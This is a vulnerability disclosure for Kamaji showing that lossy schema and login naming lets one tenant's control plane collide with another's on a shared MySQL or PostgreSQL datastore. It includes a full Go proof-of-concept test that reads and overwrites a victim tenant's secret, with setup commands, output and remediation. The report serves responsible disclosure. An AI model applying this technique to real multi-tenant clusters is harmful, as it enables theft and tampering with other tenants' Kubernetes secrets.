Summary

Kamaji runs many tenant Kubernetes control planes inside one management cluster; when a shared SQL datastore (MySQL or PostgreSQL/kine) backs more than one TenantControlPlane (TCP), each TCP is meant to be isolated by getting its own database schema and its own database login. The per-tenant schema name AND the per-tenant DB login are both derived from a single lossy expression, strings.ReplaceAll(fmt.Sprintf("%s_%s", namespace, name), "-", "_"), in internal/resources/datastore/datastore_storage_config.go. Because the namespace/name join character _ is produced and then the dash replacement also produces _, the boundary between namespace and name is ambiguous: two DISTINCT TCPs living in DIFFERENT namespaces collapse to the SAME identifier. For example a victim TCP c in namespace a-b and an attacker TCP b-c in namespace a both derive the schema and login a_b_c.

The datastore-setup reconciler (datastore_setup.go) is idempotent and short-circuits on existence: DBExists → skip CreateDB, UserExists → skip CreateUser. So when the second (colliding) TCP reconciles, the schema and the login already exist and are silently re-used. The second tenant's kine pods are therefore pointed at the FIRST tenant's schema with a login that already has GRANT ALL on that schema. The result is a full cross-tenant control-plane compromise: one tenant reads and writes the other tenant's entire Kubernetes state (every Secret, ServiceAccount token, RBAC object, etc.) stored in the shared schema. Each tenant control plane stores its state as the etcd-equivalent kine table inside that one schema, so cross-schema access is cross-control-plane access.

This is distinct from CVE-2024-42480 / GHSA-6r4j-4rjc-8vw5 (the etcd "open at the top" RBAC range, fixed in edge-24.8.2 by scoping the range end). That advisory only re-scoped the etcd key range per schema string; it did not change the schema/login derivation, and the collision is independent of the etcd driver — it manifests on the MySQL and PostgreSQL/kine shared-datastore drivers. The derivation is byte-for-byte unchanged on current master (relocated into TenantControlPlane.normalizeNamespaceName() and used as the default for GetDefaultDatastoreSchema() / GetDefaultDatastoreUsername()), so the default code path is still vulnerable today.

Affected code (v1.0.0, commit f4c0cec)

internal/resources/datastore/datastore_storage_config.go — the per-tenant schema and DB-user names are both derived from this single lossy expression (the coalesceFn default that fires for every fresh TCP):

coalesceFn := func(fromStatus string) []byte {
    if len(fromStatus) > 0 {
        return []byte(fromStatus)
    }
    // The dash character (-) must be replaced with an underscore, PostgreSQL is complaining about it:
    // https://github.com/clastix/kamaji/issues/328
    return []byte(strings.ReplaceAll(fmt.Sprintf("%s_%s", tenantControlPlane.GetNamespace(), tenantControlPlane.GetName()), "-", "_"))
}
...
r.resource.Data = map[string][]byte{
    "DB_CONNECTION_STRING": []byte(r.ConnString),
    "DB_SCHEMA":            coalesceFn(tenantControlPlane.Status.Storage.Setup.Schema),
    "DB_USER":              username, // = coalesceFn(... Setup.User) for non-NATS
    "DB_PASSWORD":          password,
}

internal/resources/datastore/datastore_setup.go — the reconciler treats "already exists" as success, so a colliding second tenant silently re-uses the first tenant's schema, login, and grant:

func (r *Setup) createDB(...) (...) {
    exists, err := r.Connection.DBExists(ctx, r.resource.schema)
    ...
    if exists { return controllerutil.OperationResultNone, nil } // reuse, no isolation
    ...
}
func (r *Setup) createUser(...) (...) {
    exists, err := r.Connection.UserExists(ctx, r.resource.user)
    ...
    if exists { return controllerutil.OperationResultNone, nil } // reuse, shared login
    ...
}

The only validation Kamaji applies to the inputs is in internal/webhook/handlers/tcp_name.go, which merely enforces a DNS1035 label (validation.IsDNS1035Label) on the TCP name; the namespace is an ordinary Kubernetes namespace. Both may legally contain -, which is exactly what the lossy derivation collapses. There is no uniqueness/collision check anywhere, and internal/webhook/handlers/tcp_datastore.go only checks that the named DataStore exists — not that the resulting schema/login is unique.

The two underlying SQL drivers issue the create/grant verbatim with these names — internal/datastore/mysql.go:

mysqlCreateDBStatement        = "CREATE DATABASE IF NOT EXISTS %s"
mysqlCreateUserStatement      = "CREATE USER `%s`@`%%` IDENTIFIED BY '%s'"
mysqlGrantPrivilegesStatement = "GRANT ALL PRIVILEGES ON `%s`.* TO `%s`@`%%`"

Attacker model / precondition

The attacker is a Kamaji tenant — a party who has been delegated rights to create TenantControlPlane resources in one or more namespaces of the management cluster (the standard Kamaji multi-tenant delegation model). The trigger is creating a TCP whose (namespace, name) pair, after the %s_%s join and -→_ replacement, collides with a sibling tenant's pair on the SAME shared DataStore. Concretely, an attacker who controls namespace a and can pick the TCP name b-c collides with a victim TCP c in namespace a-b.

Operators using etcd as the datastore additionally suffer the analogous key-prefix collision via buildKey("/%s/").

Honest bounds (why this is AC:H, not a trivially universal read): the management admin assigns namespaces to tenants, so the attacker does not get to pick an arbitrary namespace; the collision additionally requires that a victim tenant's (namespace, name) pair shares the lossy normal form with a pair the attacker can create, and that both TCPs are assigned the same shared DataStore. Where one tenant controls multiple namespaces, or where namespace/TCP naming is tenant-suggested (a common self-service pattern), or where the attacker can simply enumerate/observe a victim's namespace and name and arrange a colliding pair in its own namespace, the precondition is readily met. No special privileges beyond ordinary TCP-create rights, and no interaction from the victim, are needed. The shared-SQL-datastore deployment (MySQL or PostgreSQL/etcd) is the affected configuration; the dedicated-etcd-per-tenant deployment is not affected by THIS issue.

Impact

A successful collision binds the attacker's tenant control plane to the victim's datastore schema using a login that holds GRANT ALL on that schema. Because every tenant control plane persists its full Kubernetes state as the kine table inside its schema, the attacker tenant can read and modify the victim tenant's entire control-plane state: all Secrets (including ServiceAccount signing keys, bootstrap tokens, and any application secrets), all RBAC, all workloads — and can tamper with or destroy them. This is a complete confidentiality, integrity, and availability break of a separate tenant's Kubernetes control plane (Scope: Changed — the impact crosses into another tenant's security authority). It is the precise multi-tenancy guarantee Kamaji exists to provide, defeated by an identifier collision.

Proof of Concept (complete — runs on 127.0.0.1 only)

This drives Kamaji's REAL internal/datastore.MySQLConnection (the same driver NewStorageConnection builds) against a local MySQL, replicating exactly the datastore-setup reconcile sequence for two colliding tenants, then proves the attacker tenant reads and overwrites the victim tenant's secret. It also includes the dependency-free unit proof of the collision plus a negative control.

Step 1 — clone the exact target and start a throwaway MySQL on loopback:

git clone --depth 1 --branch v1.0.0 https://github.com/clastix/kamaji.git
cd kamaji
docker run -d --name kamaji-pvr-mysql -e MYSQL_ROOT_PASSWORD=rootpw -p 13306:3306 mysql:8.0
# wait until ready:
for i in $(seq 1 60); do docker exec kamaji-pvr-mysql mysqladmin ping -uroot -prootpw 2>/dev/null | grep -q alive && break; sleep 2; done

Step 2 — drop this test file at internal/datastore/pvr_collision_test.go:

// Copyright 2022 Clastix Labs
// SPDX-License-Identifier: Apache-2.0

// PVR PoC: per-tenant schema/user name collision in the shared SQL datastore.
package datastore

import (
	"context"
	"database/sql"
	"fmt"
	"os"
	"strings"
	"testing"

	gosql "github.com/go-sql-driver/mysql"
)

// v1alpha1Derivation reproduces, verbatim, the v1.0.0 default schema/user
// derivation from datastore_storage_config.go (the coalesceFn fallback).
func v1alpha1Derivation(namespace, name string) string {
	return strings.ReplaceAll(fmt.Sprintf("%s_%s", namespace, name), "-", "_")
}

// TestCollision_DerivationPureUnit is the pure proof that two distinct
// (namespace,name) tenants collapse to one schema/user, plus a negative control.
func TestCollision_DerivationPureUnit(t *testing.T) {
	aNS, aName := "a-b", "c" // victim:   namespace "a-b", TCP "c"
	bNS, bName := "a", "b-c" // attacker: namespace "a",   TCP "b-c"

	aID := v1alpha1Derivation(aNS, aName)
	bID := v1alpha1Derivation(bNS, bName)

	t.Logf("victim   (ns=%q name=%q) -> schema/user %q", aNS, aName, aID)
	t.Logf("attacker (ns=%q name=%q) -> schema/user %q", bNS, bName, bID)

	if aID != bID {
		t.Fatalf("expected COLLISION, got distinct ids %q vs %q", aID, bID)
	}
	t.Logf("CONFIRMED collision: both map to %q", aID)

	cID := v1alpha1Derivation("tenant-x", "prod")
	dID := v1alpha1Derivation("tenant-y", "prod")
	if cID == dID {
		t.Fatalf("negative control failed: %q == %q (should differ)", cID, dID)
	}
	t.Logf("negative control OK: %q != %q", cID, dID)
}

// TestCollision_RuntimeCrossTenantRead drives the real MySQLConnection and
// proves the end-to-end isolation break against a live MySQL.
// Requires KAMAJI_PVR_MYSQL_DSN_ROOT, e.g. root:rootpw@tcp(127.0.0.1:13306)/
func TestCollision_RuntimeCrossTenantRead(t *testing.T) {
	rootDSN := os.Getenv("KAMAJI_PVR_MYSQL_DSN_ROOT")
	if rootDSN == "" {
		t.Skip("set KAMAJI_PVR_MYSQL_DSN_ROOT to run the runtime PoC")
	}

	ctx := context.Background()

	cfg, err := gosql.ParseDSN(rootDSN)
	if err != nil {
		t.Fatalf("bad root DSN: %v", err)
	}
	host, port := splitHostPort(t, cfg.Addr)

	rootDB, err := sql.Open("mysql", rootDSN)
	if err != nil {
		t.Fatalf("open root: %v", err)
	}
	defer rootDB.Close()

	mkRoot := func() *MySQLConnection {
		conn, cErr := NewMySQLConnection(ConnectionConfig{
			User:      cfg.User,
			Password:  cfg.Passwd,
			Endpoints: []ConnectionEndpoint{{Host: host, Port: port}},
			DBName:    "",
		})
		if cErr != nil {
			t.Fatalf("NewMySQLConnection: %v", cErr)
		}
		return conn.(*MySQLConnection)
	}

	aID := v1alpha1Derivation("a-b", "c") // victim
	bID := v1alpha1Derivation("a", "b-c") // attacker
	if aID != bID {
		t.Fatalf("precondition: ids must collide, got %q vs %q", aID, bID)
	}
	schema := aID
	user := aID
	aPass := "victim-password-AAA"
	bPass := "attacker-password-BBB"

	cleanup := func() {
		_, _ = rootDB.ExecContext(ctx, fmt.Sprintf("DROP DATABASE IF EXISTS `%s`", schema))
		_, _ = rootDB.ExecContext(ctx, fmt.Sprintf("DROP USER IF EXISTS `%s`@`%%`", user))
	}
	cleanup()
	defer cleanup()

	root := mkRoot()
	defer root.Close()

	reconcile := func(label, u, p string) {
		if ok, e := root.DBExists(ctx, schema); e != nil {
			t.Fatalf("[%s] DBExists: %v", label, e)
		} else if !ok {
			if e = root.CreateDB(ctx, schema); e != nil {
				t.Fatalf("[%s] CreateDB: %v", label, e)
			}
			t.Logf("[%s] created schema %q", label, schema)
		} else {
			t.Logf("[%s] schema %q ALREADY EXISTS -> reused (no isolation)", label, schema)
		}

		if ok, e := root.UserExists(ctx, u); e != nil {
			t.Fatalf("[%s] UserExists: %v", label, e)
		} else if !ok {
			if e = root.CreateUser(ctx, u, p); e != nil {
				t.Fatalf("[%s] CreateUser: %v", label, e)
			}
			t.Logf("[%s] created user %q", label, u)
		} else {
			t.Logf("[%s] user %q ALREADY EXISTS -> reused (shared credential!)", label, u)
		}

		if ok, e := root.GrantPrivilegesExists(ctx, u, schema); e != nil {
			t.Fatalf("[%s] GrantPrivilegesExists: %v", label, e)
		} else if !ok {
			if e = root.GrantPrivileges(ctx, u, schema); e != nil {
				t.Fatalf("[%s] GrantPrivileges: %v", label, e)
			}
			t.Logf("[%s] granted ALL on %q to %q", label, schema, u)
		}
	}

	reconcile("victim A (ns=a-b name=c)", user, aPass)

	if _, err = rootDB.ExecContext(ctx, fmt.Sprintf(
		"CREATE TABLE IF NOT EXISTS `%s`.kine (id INT PRIMARY KEY, name VARCHAR(255), value BLOB)", schema)); err != nil {
		t.Fatalf("create kine: %v", err)
	}
	secret := "VICTIM-A-APISERVER-SA-SIGNING-KEY"
	if _, err = rootDB.ExecContext(ctx, fmt.Sprintf(
		"INSERT INTO `%s`.kine (id,name,value) VALUES (1,'/registry/secrets/kube-system/sa', ?)", schema), secret); err != nil {
		t.Fatalf("insert victim secret: %v", err)
	}
	t.Logf("victim A stored a secret kine row in schema %q", schema)

	reconcile("attacker B (ns=a name=b-c)", user, bPass)

	attackerDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s", user, aPass, host, port, schema)
	attackerDB, err := sql.Open("mysql", attackerDSN)
	if err != nil {
		t.Fatalf("attacker open: %v", err)
	}
	defer attackerDB.Close()

	var got string
	if err = attackerDB.QueryRowContext(ctx,
		"SELECT value FROM kine WHERE name='/registry/secrets/kube-system/sa'").Scan(&got); err != nil {
		t.Fatalf("attacker read: %v", err)
	}
	if got != secret {
		t.Fatalf("expected to read victim secret %q, got %q", secret, got)
	}
	t.Logf("CROSS-TENANT READ CONFIRMED: attacker tenant B read victim tenant A secret %q", got)

	if _, err = attackerDB.ExecContext(ctx,
		"UPDATE kine SET value='ATTACKER-CONTROLLED' WHERE name='/registry/secrets/kube-system/sa'"); err != nil {
		t.Fatalf("attacker write: %v", err)
	}
	var after string
	_ = rootDB.QueryRowContext(ctx, fmt.Sprintf("SELECT value FROM `%s`.kine WHERE id=1", schema)).Scan(&after)
	if after != "ATTACKER-CONTROLLED" {
		t.Fatalf("expected attacker write to land, got %q", after)
	}
	t.Logf("CROSS-TENANT WRITE CONFIRMED: victim A row now %q", after)
}

func splitHostPort(t *testing.T, addr string) (string, int) {
	t.Helper()
	h, p, ok := strings.Cut(addr, ":")
	if !ok {
		t.Fatalf("addr %q has no port", addr)
	}
	var port int
	if _, err := fmt.Sscanf(p, "%d", &port); err != nil {
		t.Fatalf("bad port in %q: %v", addr, err)
	}
	return h, port
}

Step 3 — run both tests:

# pure collision proof + negative control (no DB needed):
go test ./internal/datastore/ -run 'TestCollision_DerivationPureUnit' -v

# end-to-end cross-tenant read/write against the local MySQL:
KAMAJI_PVR_MYSQL_DSN_ROOT='root:rootpw@tcp(127.0.0.1:13306)/' \
  go test ./internal/datastore/ -run 'TestCollision_RuntimeCrossTenantRead' -v

Observed output (verbatim, v1.0.0):

=== RUN   TestCollision_DerivationPureUnit
    pvr_collision_test.go:54: victim   (ns="a-b" name="c") -> schema/user "a_b_c"
    pvr_collision_test.go:55: attacker (ns="a" name="b-c") -> schema/user "a_b_c"
    pvr_collision_test.go:60: CONFIRMED collision: both map to "a_b_c"
    pvr_collision_test.go:68: negative control OK: "tenant_x_prod" != "tenant_y_prod"
--- PASS: TestCollision_DerivationPureUnit (0.00s)

=== RUN   TestCollision_RuntimeCrossTenantRead
    pvr_collision_test.go:142: [victim A (ns=a-b name=c)] created schema "a_b_c"
    pvr_collision_test.go:153: [victim A (ns=a-b name=c)] created user "a_b_c"
    pvr_collision_test.go:164: [victim A (ns=a-b name=c)] granted ALL on "a_b_c" to "a_b_c"
    pvr_collision_test.go:180: victim A stored a secret kine row in schema "a_b_c"
    pvr_collision_test.go:144: [attacker B (ns=a name=b-c)] schema "a_b_c" ALREADY EXISTS -> reused (no isolation)
    pvr_collision_test.go:155: [attacker B (ns=a name=b-c)] user "a_b_c" ALREADY EXISTS -> reused (shared credential!)
    pvr_collision_test.go:208: CROSS-TENANT READ CONFIRMED: attacker tenant B read victim tenant A secret "VICTIM-A-APISERVER-SA-SIGNING-KEY"
    pvr_collision_test.go:220: CROSS-TENANT WRITE CONFIRMED: victim A row now "ATTACKER-CONTROLLED"
--- PASS: TestCollision_RuntimeCrossTenantRead (0.12s)
PASS

The runtime run shows victim A creates schema/login a_b_c and writes a control-plane secret; attacker B's reconcile finds the schema and login already present and re-uses them; attacker B then reads and overwrites victim A's secret using the shared login that holds GRANT ALL on the shared schema.

Step 4 — teardown:

docker rm -f kamaji-pvr-mysql

Remediation

Derive the per-tenant schema and login from a non-lossy, collision-free function of the TCP identity rather than strings.ReplaceAll(fmt.Sprintf("%s_%s", namespace, name), "-", "_"). Concretely: (1) include the TCP metadata.uid (globally unique) in the identifier, or use a fixed-length hash of namespace/name (e.g. the first N hex chars of a SHA-256 over the slash-joined pair) so distinct tenants can never normalize to the same value; (2) reject the dash-replacement collapse — if a dash-to-underscore transform is still required for PostgreSQL, escape the join boundary unambiguously (e.g. encode each component length, or hash each component separately) so ("a-b","c") and ("a","b-c") cannot coincide. As defense in depth: (3) in the datastore-setup reconciler, before re-using an existing schema/login, verify ownership — record the owning TCP UID in the DataStore.status.usedBy mapping and refuse to bind a TCP to a schema/login already owned by a different TCP UID, surfacing a clear admission/status error instead of silently sharing; and (4) add an admission check (or controller guard) that rejects a TCP whose derived schema/login already maps to a different TCP on the same DataStore. The same lossy derivation feeds the etcd key prefix and the PostgreSQL schema/role, so the fix should be applied at the single shared identifier-derivation function (now TenantControlPlane.normalizeNamespaceName() on master) used by all three drivers.

Please credit 5ud0 / Tarmo Technologies.